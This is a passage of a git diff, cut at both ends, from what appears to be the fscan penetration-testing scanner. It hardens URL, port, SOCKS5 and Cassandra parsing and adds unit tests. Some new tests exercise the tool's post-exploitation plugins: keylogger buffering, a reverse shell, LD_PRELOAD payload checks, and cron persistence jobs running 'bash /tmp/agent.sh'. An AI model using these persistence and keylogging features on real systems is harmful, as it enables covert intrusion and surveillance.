i18n.GetText("portfinger_probe_name_invalid")) + } // 设置探测器属性 p.Name = directive.DirectiveName diff --git a/core/portfinger/probe_parser_test.go b/core/portfinger/probe_parser_test.go new file mode 100644 index 0000000..127b7a7 --- /dev/null +++ b/core/portfinger/probe_parser_test.go @@ -0,0 +1,33 @@ +package portfinger + +import "testing" + +func TestProbeParserRejectsShortInputs(t *testing.T) { + tests := []string{ + "", + "T", + "TCP", + "TCP ", + "TCP Q", + "TCP GetRequest q", + } + + for _, input := range tests { + t.Run(input, func(t *testing.T) { + var probe Probe + if err := probe.fromString(input); err == nil { + t.Fatalf("fromString(%q) error = nil, want malformed input error", input) + } + }) + } +} + +func TestProbeParserAcceptsMinimalValidProbe(t *testing.T) { + var probe Probe + if err := probe.fromString(`TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|`); err != nil { + t.Fatalf("fromString valid probe error = %v", err) + } + if probe.Name != "GetRequest" || probe.Protocol != "tcp" || probe.Data == "" { + t.Fatalf("probe parsed incorrectly: %#v", probe) + } +} diff --git a/core/web_scanner.go b/core/web_scanner.go index e48d5bb..d2b4dab 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -112,7 +112,11 @@ func createHTTPClient(config *common.Config, session *common.ScanSession) *http. networkConfig := config.Network if networkConfig.HTTPProxy != "" { // 使用HTTP代理 - if proxyURL, err := url.Parse(networkConfig.HTTPProxy); err == nil { + httpProxy := networkConfig.HTTPProxy + if !strings.Contains(httpProxy, "://") { + httpProxy = "http://" + httpProxy + } + if proxyURL, err := url.Parse(httpProxy); err == nil && proxyURL.Host != "" { transport.Proxy = http.ProxyURL(proxyURL) } else { session.LogError(i18n.Tr("http_proxy_config_error", err)) @@ -393,17 +397,31 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf // 解析URL获取Host和Port信息 parsedURL, err := url.Parse(urlStr) if err != nil { - session.LogError(i18n.Tr("url_parse_failed", urlStr, err)) + if session != nil { + session.LogError(i18n.Tr("url_parse_failed", urlStr, err)) + } return nil } urlInfo := baseInfo urlInfo.URL = urlStr urlInfo.Host = parsedURL.Hostname() + if urlInfo.Host == "" { + if session != nil { + session.LogError(i18n.Tr("url_parse_failed", urlStr, "empty host")) + } + return nil + } // 设置端口 portStr := parsedURL.Port() if portStr == "" { + if hasMalformedURLPort(parsedURL.Host) { + if session != nil { + session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, "")) + } + return nil + } // 根据协议设置默认端口 if parsedURL.Scheme == "https" { urlInfo.Port = 443 @@ -411,18 +429,14 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf urlInfo.Port = 80 } } else { - // 解析端口字符串为整数 - var port int - if _, err := fmt.Sscanf(portStr, "%d", &port); err == nil { - urlInfo.Port = port - } else { - // 解析失败时使用默认端口 - if parsedURL.Scheme == "https" { - urlInfo.Port = 443 - } else { - urlInfo.Port = 80 + port, err := strconv.Atoi(portStr) + if err != nil || port < 1 || port > 65535 { + if session != nil { + session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, portStr)) } + return nil } + urlInfo.Port = port } // 标记为Web服务,确保Web插件能识别此目标 @@ -430,3 +444,11 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf return &urlInfo } + +func hasMalformedURLPort(host string) bool { + if strings.HasPrefix(host, "[") { + end := strings.LastIndexByte(host, ']') + return end >= 0 && len(host) > end+1 && host[end+1] == ':' + } + return strings.Contains(host, ":") +} diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index 3745269..0a2c6f1 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -607,17 +607,43 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) { t.Run("空URL", func(t *testing.T) { result := strategy.createTargetFromURL(common.HostInfo{}, "") - // url.Parse("")会成功,但Hostname()返回空 - if result == nil { - t.Skip("空URL解析行为依赖于url.Parse实现") + if result != nil { + t.Fatalf("空URL应被拒绝,实际 %#v", result) } }) t.Run("只有协议", func(t *testing.T) { result := strategy.createTargetFromURL(common.HostInfo{}, "http://") - // url.Parse("http://")会成功,但Host为空 - if result != nil && result.Host == "" { - t.Log("Empty host check passed as expected") + if result != nil { + t.Fatalf("空Host URL应被拒绝,实际 %#v", result) + } + }) + + t.Run("非法URL不会因nil session panic", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://[::1") + if result != nil { + t.Fatalf("非法URL应被拒绝,实际 %#v", result) + } + }) + + t.Run("越界端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:70000") + if result != nil { + t.Fatalf("越界端口应被拒绝,实际 %#v", result) + } + }) + + t.Run("非数字端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:bad") + if result != nil { + t.Fatalf("非数字端口应被拒绝,实际 %#v", result) + } + }) + + t.Run("空端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:") + if result != nil { + t.Fatalf("空端口应被拒绝,实际 %#v", result) } }) @@ -642,6 +668,16 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) { } } }) + + t.Run("IPv6无端口使用默认端口", func(t *testing.T) { + result := strategy.createTargetFromURL(common.HostInfo{}, "https://[::1]/") + if result == nil { + t.Fatal("IPv6无端口URL应能正确解析") + } + if result.Host != "::1" || result.Port != 443 { + t.Fatalf("IPv6默认端口解析错误: %#v", result) + } + }) } // TestIsWebServiceByFingerprint_Priority 测试识别优先级 @@ -816,6 +852,19 @@ func TestCreateHTTPClientUsesPerSessionProxy(t *testing.T) { } } +func TestCreateHTTPClientNormalizesHTTPProxyWithoutScheme(t *testing.T) { + cfg := common.NewConfig() + cfg.Network.WebTimeout = time.Second + cfg.Network.HTTPProxy = "127.0.0.1:18080" + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + + client := createHTTPClient(cfg, session) + proxy := proxyForTest(t, client) + if proxy != "http://127.0.0.1:18080" { + t.Fatalf("proxy = %q, want http://127.0.0.1:18080", proxy) + } +} + func proxyForTest(t *testing.T, client *http.Client) string { t.Helper() diff --git a/pkg/fscan/result.go b/pkg/fscan/result.go index b5a2594..d03bfc4 100644 --- a/pkg/fscan/result.go +++ b/pkg/fscan/result.go @@ -135,21 +135,25 @@ func (r Result) DetailBool(key string) (bool, bool) { // Port returns the result port from details, or from a target in host:port form. func (r Result) Port() (int, bool) { if port, ok := r.DetailInt("port"); ok { - return port, true + return port, validPort(port) } if _, portText, err := net.SplitHostPort(r.Target); err == nil { port, err := strconv.Atoi(portText) - return port, err == nil + return port, err == nil && validPort(port) } if strings.Count(r.Target, ":") == 1 { if idx := strings.LastIndex(r.Target, ":"); idx >= 0 && idx+1 < len(r.Target) { port, err := strconv.Atoi(r.Target[idx+1:]) - return port, err == nil + return port, err == nil && validPort(port) } } return 0, false } +func validPort(port int) bool { + return port >= 1 && port <= 65535 +} + // Service returns the detected service name when present. func (r Result) Service() (string, bool) { return r.DetailString("service") } diff --git a/pkg/fscan/result_test.go b/pkg/fscan/result_test.go index b9bc818..e9401a9 100644 --- a/pkg/fscan/result_test.go +++ b/pkg/fscan/result_test.go @@ -76,6 +76,21 @@ func TestResultPortNoPort(t *testing.T) { } } +func TestResultPortRejectsOutOfRangePorts(t *testing.T) { + tests := []Result{ + {Target: "10.0.0.1:70000"}, + {Target: "[::1]:0"}, + {Details: map[string]interface{}{"port": 70000}}, + {Details: map[string]interface{}{"port": 0}}, + } + + for _, result := range tests { + if port, ok := result.Port(); ok { + t.Fatalf("Port(%#v) = %d/true, want false", result, port) + } + } +} + func TestResultCredentialHelpers(t *testing.T) { result := Result{ Type: ResultTypeVuln, @@ -715,4 +730,3 @@ func TestResultSummaryJSON(t *testing.T) { t.Fatalf("round-trip failed: %#v", decoded) } } - diff --git a/plugins/init_test.go b/plugins/init_test.go index f2fdf8d..5ef3e1d 100644 --- a/plugins/init_test.go +++ b/plugins/init_test.go @@ -1,6 +1,7 @@ package plugins import ( + "context" "testing" "github.com/shadow1ng/fscan/common" @@ -23,6 +24,122 @@ init_test.go - 插件系统核心逻辑测试 // GenerateCredentials - 核心凭据生成逻辑 // ============================================================================= +func preservePluginRegistry(t *testing.T) { + t.Helper() + + mutex.RLock() + snapshot := make(map[string]*PluginInfo, len(plugins)) + for name, info := range plugins { + copied := *info + copied.ports = append([]int(nil), info.ports...) + copied.types = append([]string(nil), info.types...) + snapshot[name] = &copied + } + mutex.RUnlock() + + t.Cleanup(func() { + mutex.Lock() + plugins = snapshot + mutex.Unlock() + }) +} + +type testPlugin struct { + BasePlugin +} + +func (p testPlugin) Scan(context.Context, *common.HostInfo, *common.ScanSession) *Result { + return &Result{Type: ResultTypeService, Success: true} +} + +func TestPluginRegistryMetadata(t *testing.T) { + preservePluginRegistry(t) + + RegisterWithPorts("unit_tcp", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_tcp")} + }, []int{1234, 5678}) + RegisterUDPWithPorts("unit_udp", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_udp")} + }, []int{161}) + RegisterWithTypes("unit_local", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_local")} + }, nil, []string{PluginTypeLocal}) + RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")} + }, nil, []string{PluginTypeWeb}) + + if !Exists("unit_tcp") || Exists("missing_plugin") { + t.Fatal("Exists returned wrong result") + } + if got := Get("unit_tcp"); got == nil || got.Name() != "unit_tcp" { + t.Fatalf("Get(unit_tcp) = %#v", got) + } + if got := Get("missing_plugin"); got != nil { + t.Fatalf("Get(missing_plugin) = %#v, want nil", got) + } + if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) { + t.Fatal("registered plugin types were not recorded") + } + if !IsUDP("unit_udp") || IsUDP("unit_tcp") { + t.Fatal("UDP metadata is wrong") + } + if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { + t.Fatal("safe metadata is wrong") + } + + ports := GetPluginPorts("unit_tcp") + if len(ports) != 2 || ports[0] != 1234 || ports[1] != 5678 { + t.Fatalf("ports = %#v", ports) + } + if got := GetPluginPorts("missing_plugin"); len(got) != 0 { + t.Fatalf("missing plugin ports = %#v, want empty", got) + } + if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) || + hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) { + t.Fatal("hasPluginType returned wrong result") + } + + names := All() + for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} { + if !containsPluginName(names, want) { + t.Fatalf("All() missing %q in %#v", want, names) + } + } +} + +func TestPluginLocalModeHook(t *testing.T) { + preservePluginRegistry(t) + + RegisterWithTypes("unit_local_mode", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")} + }, nil, []string{PluginTypeLocal}) + RegisterWithPorts("unit_service_mode", func() Plugin { + return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")} + }, []int{22}) + + if common.IsLocalMode == nil { + t.Fatal("IsLocalMode hook should be installed") + } + if !common.IsLocalMode("unit_local_mode") { + t.Fatal("single local plugin should be local mode") + } + if !common.IsLocalMode("unit_local_mode, unit_local_mode") { + t.Fatal("local plugin list should be local mode") + } + if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") { + t.Fatal("non-local modes should not be local mode") + } +} + +func containsPluginName(values []string, want string) bool { + for _, value := range values { + if value == want { + return true + } + } + return false +} + func TestGenerateCredentials_UserPassPairs_Priority(t *testing.T) { /* 关键测试:UserPassPairs 应该优先于笛卡尔积 diff --git a/plugins/local/local_pure_test.go b/plugins/local/local_pure_test.go new file mode 100644 index 0000000..c271121 --- /dev/null +++ b/plugins/local/local_pure_test.go @@ -0,0 +1,152 @@ +//go:build linux && !no_local + +package local + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestLocalPluginConstructors(t *testing.T) { + tests := []struct { + name string + got Plugin + }{ + {name: "cleaner", got: NewCleanerPlugin()}, + {name: "crontask", got: NewCronTaskPlugin()}, + {name: "forwardshell", got: NewForwardShellPlugin()}, + {name: "keylogger", got: NewKeyloggerPlugin()}, + {name: "ldpreload", got: NewLDPreloadPlugin()}, + {name: "reverseshell", got: NewReverseShellPlugin()}, + {name: "socks5proxy", got: NewSocks5ProxyPlugin()}, + {name: "sshkey", got: NewSSHKeyPlugin()}, + {name: "systemdservice", got: NewSystemdServicePlugin()}, + {name: "systeminfo", got: NewSystemInfoPlugin()}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if tt.got == nil { + t.Fatal("constructor returned nil") + } + if got := tt.got.Name(); got != tt.name { + t.Fatalf("Name() = %q, want %q", got, tt.name) + } + }) + } +} + +func TestCronTaskScriptDetectionAndJobs(t *testing.T) { + plugin := NewCronTaskPlugin() + for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} { + plugin.targetFile = name + if !plugin.isScriptFile() { + t.Fatalf("%s should be treated as script", name) + } + } + + plugin.targetFile = "agent.bin" + if plugin.isScriptFile() { + t.Fatal("binary target should not be treated as script") + } + + plugin.targetFile = "agent.sh" + jobs := plugin.generateCronJobs("/tmp/agent.sh") + if len(jobs) != 4 { + t.Fatalf("job count = %d, want 4", len(jobs)) + } + for _, job := range jobs { + if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") { + t.Fatalf("script cron job missing bash wrapper: %q", job) + } + } +} + +func TestLDPreloadValidFileDetection(t *testing.T) { + dir := t.TempDir() + plugin := NewLDPreloadPlugin() + + soPath := filepath.Join(dir, "libhook.so") + if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil { + t.Fatal(err) + } + if !plugin.isValidFile(soPath) { + t.Fatal(".so file should be accepted by extension") + } + + elfPath := filepath.Join(dir, "payload.bin") + if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil { + t.Fatal(err) + } + if !plugin.isValidFile(elfPath) { + t.Fatal("ELF magic file should be accepted") + } + + textPath := filepath.Join(dir, "payload.txt") + if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil { + t.Fatal(err) + } + if plugin.isValidFile(textPath) { + t.Fatal("plain text file should not be accepted") + } +} + +func TestKeyloggerBufferAndFileHelpers(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "keys.log") + session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{}) + plugin := NewKeyloggerPlugin() + + if err := plugin.checkOutputFilePermissions(path); err != nil { + t.Fatalf("checkOutputFilePermissions error = %v", err) + } + if _, err := os.Stat(path); err != nil { + t.Fatalf("output file was not created: %v", err) + } + + if err := plugin.saveKeysToFile(path, session); err != nil { + t.Fatalf("save empty keys error = %v", err) + } + + plugin.addKeyToBuffer("A") + plugin.addKeyToBuffer("B") + if len(plugin.keyBuffer) != 2 { + t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer)) + } + if err := plugin.saveKeysToFile(path, session); err != nil { + t.Fatalf("save keys error = %v", err) + } + content, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") { + t.Fatalf("saved key log missing entries: %q", content) + } +} + +func TestShellUtilityHelpers(t *testing.T) { + prompt := NewForwardShellPlugin().getPrompt() + if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") { + t.Fatalf("unexpected prompt suffix: %q", prompt) + } + + if dir := getCurrentDir(); dir == "" || dir == "unknown" { + t.Fatalf("getCurrentDir() = %q", dir) + } + + pub, priv, err := NewSSHKeyPlugin().generateKeyPair() + if err != nil { + t.Fatalf("generateKeyPair error = %v", err) + } + if !strings.HasPrefix(pub, "ssh-ed25519 ") { + t.Fatalf("public key should be ssh-ed25519, got %q", pub) + } + if !strings.Contains(priv, "OPENSSH PRIVATE KEY") { + t.Fatal("private key should be OpenSSH PEM") + } +} diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index ed8c84b..f47791d 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -160,21 +160,26 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con // handleSocks5Handshake 处理SOCKS5握手 func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { - // 读取客户端握手请求 - buffer := make([]byte, 256) - n, err := conn.Read(buffer) - if err != nil { + header := make([]byte, 2) + if _, err := io.ReadFull(conn, header); err != nil { return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) } - if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 + if header[0] != 0x05 || header[1] == 0 { + return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) + } + methods := make([]byte, int(header[1])) + if _, err := io.ReadFull(conn, methods); err != nil { + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) + } + if !containsByte(methods, 0x00) { + _, _ = conn.Write([]byte{0x05, 0xff}) return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) } // 发送握手响应(无认证) response := []byte{0x05, 0x00} // 版本5,无认证 - _, err = conn.Write(response) - if err != nil { + if _, err := conn.Write(response); err != nil { return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) } @@ -183,18 +188,16 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { // handleSocks5Request 处理SOCKS5连接请求 func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { - // 读取连接请求 - buffer := make([]byte, 256) - n, err := clientConn.Read(buffer) - if err != nil { + header := make([]byte, 4) + if _, err := io.ReadFull(clientConn, header); err != nil { return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) } - if n < 7 || buffer[0] != 0x05 { + if header[0] != 0x05 || header[2] != 0x00 { return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) } - cmd := buffer[1] + cmd := header[1] if cmd != 0x01 { // 只支持CONNECT命令 // 发送不支持的命令响应 response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} @@ -203,40 +206,50 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co } // 解析目标地址 - addrType := buffer[3] + addrType := header[3] var targetHost string var targetPort int switch addrType { case 0x01: // IPv4 - if n < 10 { + addr := make([]byte, 6) + if _, err := io.ReadFull(clientConn, addr); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) } - targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) - targetPort = int(buffer[8])<<8 + int(buffer[9]) + targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3]) + targetPort = int(addr[4])<<8 + int(addr[5]) case 0x03: // 域名 - if n < 5 { + lenBuf := make([]byte, 1) + if _, err := io.ReadFull(clientConn, lenBuf); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) } - domainLen := int(buffer[4]) - if n < 5+domainLen+2 { + domainLen := int(lenBuf[0]) + if domainLen == 0 { return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) } - targetHost = string(buffer[5 : 5+domainLen]) - targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) + addr := make([]byte, domainLen+2) + if _, err := io.ReadFull(clientConn, addr); err != nil { + return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) + } + targetHost = string(addr[:domainLen]) + targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1]) case 0x04: // IPv6 - if n < 22 { + addr := make([]byte, 18) + if _, err := io.ReadFull(clientConn, addr); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) } // IPv6地址解析(简化实现) - targetHost = net.IP(buffer[4:20]).String() - targetPort = int(buffer[20])<<8 + int(buffer[21]) + targetHost = net.IP(addr[:16]).String() + targetPort = int(addr[16])<<8 + int(addr[17]) default: // 发送不支持的地址类型响应 response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) } + if targetPort == 0 { + return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) + } // 连接目标服务器 targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort))) @@ -276,6 +289,15 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co return targetConn, localPort, nil } +func containsByte(values []byte, target byte) bool { + for _, value := range values { + if value == target { + return true + } + } + return false +} + // relayData 双向数据转发 func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { done := make(chan struct{}, 2) diff --git a/plugins/local/socks5proxy_test.go b/plugins/local/socks5proxy_test.go new file mode 100644 index 0000000..e08c947 --- /dev/null +++ b/plugins/local/socks5proxy_test.go @@ -0,0 +1,94 @@ +//go:build (plugin_socks5proxy || !plugin_selective) && !no_local + +package local + +import ( + "bytes" + "io" + "net" + "testing" + "time" +) + +type socksTestConn struct { + r bytes.Reader + w bytes.Buffer +} + +func newSocksTestConn(data []byte) *socksTestConn { + return &socksTestConn{r: *bytes.NewReader(data)} +} + +func (c *socksTestConn) Read(p []byte) (int, error) { + n, err := c.r.Read(p) + if err == io.EOF && n > 0 { + return n, nil + } + return n, err +} + +func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } +func (c *socksTestConn) Close() error { return nil } +func (c *socksTestConn) LocalAddr() net.Addr { return nil } +func (c *socksTestConn) RemoteAddr() net.Addr { return nil } +func (c *socksTestConn) SetDeadline(time.Time) error { return nil } +func (c *socksTestConn) SetReadDeadline(time.Time) error { + return nil +} +func (c *socksTestConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestSocks5HandshakeValidation(t *testing.T) { + p := NewSocks5ProxyPlugin() + + t.Run("truncated methods", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x02, 0x00}) + if err := p.handleSocks5Handshake(conn); err == nil { + t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error") + } + }) + + t.Run("no no-auth method", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x01, 0x02}) + if err := p.handleSocks5Handshake(conn); err == nil { + t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error") + } + if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) { + t.Fatalf("handshake response = % x, want 05 ff", got) + } + }) + + t.Run("accepts no-auth", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00}) + if err := p.handleSocks5Handshake(conn); err != nil { + t.Fatalf("handleSocks5Handshake() error = %v", err) + } + if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) { + t.Fatalf("handshake response = % x, want 05 00", got) + } + }) +} + +func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) { + p := NewSocks5ProxyPlugin() + + tests := []struct { + name string + req []byte + }{ + {name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}}, + {name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}}, + {name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}}, + {name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}}, + {name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil { + t.Fatal("handleSocks5Request() error = nil, want malformed request error") + } + }) + } +} diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 34ab5f0..b1da128 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -158,6 +158,9 @@ func classifyActiveMQErrorType(err error) ErrorType { // authenticateSTOMP 使用STOMP协议认证ActiveMQ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) { timeout := config.Timeout + if err := rejectLineBreaks(username, password); err != nil { + return false, err + } stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", username, password) diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index b17e646..545757c 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -74,14 +74,16 @@ func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.C // // [1B version|flags] [2B stream] [1B opcode] [4B length] [body] const ( - cqlVersion = 0x84 // version=4, direction=request - cqlOpStartup = 0x01 - cqlOpAuthRsp = 0x0f - cqlOpQuery = 0x07 - cqlOpReady = 0x02 - cqlOpAuthOk = 0x10 - cqlOpAuthChl = 0x0e - cqlOpError = 0x00 + cqlVersion = 0x84 // version=4, direction=request + cqlOpStartup = 0x01 + cqlOpAuthRsp = 0x0f + cqlOpQuery = 0x07 + cqlOpResult = 0x08 + cqlOpReady = 0x02 + cqlOpAuthOk = 0x10 + cqlOpAuthChl = 0x0e + cqlOpError = 0x00 + maxCQLFrameBody = 1024 * 1024 ) func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { @@ -157,8 +159,9 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host state.IncrementTCPFailedPacketCount() return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} } - _ = body - _ = opcode + if err := validateCQLQueryResponse(opcode, body); err != nil { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err} + } state.IncrementTCPSuccessPacketCount() return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} @@ -187,7 +190,7 @@ func cqlSend(conn net.Conn, opcode byte, body []byte) error { return err } -func cqlRecv(conn net.Conn) (byte, []byte, error) { +func cqlRecv(conn io.Reader) (byte, []byte, error) { // 读取 9 字节头部(响应也有额外标志字节) header := make([]byte, 9) if _, err := io.ReadFull(conn, header); err != nil { @@ -195,8 +198,11 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) { } opcode := header[4] bodyLen := int(binary.BigEndian.Uint32(header[5:9])) - if bodyLen <= 0 || bodyLen > 1024*1024 { - return opcode, nil, nil + if bodyLen == 0 { + return opcode, []byte{}, nil + } + if bodyLen > maxCQLFrameBody { + return opcode, nil, fmt.Errorf("cassandra frame too large: %d", bodyLen) } body := make([]byte, bodyLen) if _, err := io.ReadFull(conn, body); err != nil { @@ -205,6 +211,16 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) { return opcode, body, nil } +func validateCQLQueryResponse(opcode byte, body []byte) error { + if opcode == cqlOpError { + return fmt.Errorf("cassandra query failed: %s", string(body)) + } + if opcode != cqlOpResult { + return fmt.Errorf("unexpected query opcode: %d", opcode) + } + return nil +} + // cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]] func cqlStringMap(m map[string]string) []byte { var buf []byte @@ -270,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. state.IncrementTCPFailedPacketCount() return nil } - opcode, _, err := cqlRecv(conn) + opcode, body, err := cqlRecv(conn) if err != nil || opcode != cqlOpReady { return nil } @@ -280,10 +296,13 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil { return nil } - _, body, err := cqlRecv(conn) + opcode, body, err = cqlRecv(conn) if err != nil { return nil } + if err := validateCQLQueryResponse(opcode, body); err != nil { + return nil + } state.IncrementTCPSuccessPacketCount() dummy := extractClusterName(body) diff --git a/plugins/services/cassandra_test.go b/plugins/services/cassandra_test.go new file mode 100644 index 0000000..553ecd6 --- /dev/null +++ b/plugins/services/cassandra_test.go @@ -0,0 +1,49 @@ +//go:build plugin_cassandra || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "strings" + "testing" +) + +func TestCQLRecvRejectsTooLargeFrame(t *testing.T) { + header := make([]byte, 9) + header[4] = cqlOpReady + binary.BigEndian.PutUint32(header[5:9], maxCQLFrameBody+1) + + _, _, err := cqlRecv(bytes.NewReader(header)) + if err == nil { + t.Fatal("cqlRecv() error = nil, want too-large frame error") + } + if !strings.Contains(err.Error(), "too large") { + t.Fatalf("cqlRecv() error = %v, want too large", err) + } +} + +func TestCQLRecvAllowsEmptyBody(t *testing.T) { + header := make([]byte, 9) + header[4] = cqlOpReady + + opcode, body, err := cqlRecv(bytes.NewReader(header)) + if err != nil { + t.Fatalf("cqlRecv() error = %v", err) + } + if opcode != cqlOpReady || len(body) != 0 { + t.Fatalf("cqlRecv() opcode=%d body=%q, want ready empty body", opcode, body) + } +} + +func TestValidateCQLQueryResponseRejectsErrors(t *testing.T) { + if err := validateCQLQueryResponse(cqlOpResult, []byte("rows")); err != nil { + t.Fatalf("validateCQLQueryResponse() error = %v", err) + } + if err := validateCQLQueryResponse(cqlOpError, []byte("permission denied")); err == nil { + 